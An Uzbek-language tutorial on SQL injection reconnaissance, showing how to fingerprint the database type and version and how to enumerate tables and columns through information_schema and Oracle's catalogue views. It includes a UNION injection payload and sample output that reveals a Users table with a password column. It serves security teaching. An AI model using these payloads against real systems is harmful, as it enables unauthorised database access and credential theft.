SQL ineksiya zaifliklaridan foydalanishda, ko‘pincha ma’lumotlar bazasi haqida ayrim ma’lumotlarni bilish kerak bo‘ladi. Masalan:
Ba’zan ma’lumotlar bazasining turi va versiyasini, ma’lum bir database turiga xos query’larni yuborib ko‘rish orqali aniqlash mumkin. Qaysi biri ishlasa, shunga qarab qaysi turdagi ma’lumotlar bazasi ishlayotganini bilib olish mumkin.
Quyida keng tarqalgan ayrim databaselar uchun versiyani aniqlash query’lari keltirilgan:
Database nomi Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()
Masalan, siz UNION hujumi bilan quyidagi queryni yuborishingiz mumkin:
' UNION SELECT @@version--Shunda quyidagiga o‘xshash natija qaytishi mumkin. Bu holatda ma’lumotlar bazasi Microsoft SQL Server ekanini va uning qaysi versiyasi ishlayotganini bilib olish mumkin:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)Ko‘plab databaselarda (Oracle bundan mustasno) information schema deb ataladigan view’lar to‘plami bo‘ladi. Ular database haqida ma’lumot beradi.
Masalan, bazadagi jadvallarni ko‘rish uchun information_schema.tables ga query yuborish mumkin:
SELECT * FROM information_schema.tablesBu quyidagiga o‘xshash natija qaytarishi mumkin:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLEBu natija databazada 3 ta jadval borligini ko‘rsatadi: Products, Users, va Feedback.
Shundan keyin alohida jadvallarning ustunlarini ko‘rish uchun information_schema.columns ga query yuborish mumkin:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'Bu quyidagiga o‘xshash natija qaytarishi mumkin:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varcharBu natijada aniqlangan jadval ichida qaysi ustunlar borligini va har bir ustunning data type’ini ko‘rsatadi.
Oracle’da shu ma’lumotlarni quyidagicha topish mumkin:
all_tables ga query yuborish mumkin:SELECT * FROM all_tablesall_tab_columns ga query yuborish mumkin:SELECT * FROM all_tab_columns WHERE table_name = 'USERS'